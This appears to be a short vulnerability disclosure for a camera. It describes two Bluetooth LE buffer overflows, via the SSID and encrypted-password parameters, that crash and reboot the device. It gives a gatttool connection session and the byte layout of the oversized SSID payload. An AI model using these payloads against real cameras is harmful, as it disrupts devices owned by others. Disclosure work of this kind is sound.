==Bluetooth (BLE) based Buffer Overflow via SSID parameter==

1. Summary


It's possible to trigger a buffer overflow condition when setting the SSID parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

2. Proof of Concept


anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I

[18:B4:30:5D:00:B8][LE]> connect

[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

3. Details 

The payload attempts to set an SSID with a length of 1 byte and sends 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16

4. Result


Crash and reboot back to operational state


==Bluetooth (BLE) based Buffer Overflow via Encrypted Password parameter==

1. Summary


It's possible to trigger a buffer overflow condition when setting the encrypted password parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

2. Proof of Concept

3. Details


The payload attempts to set the encrypted wifi password with a length of 1 byte and sends 3.
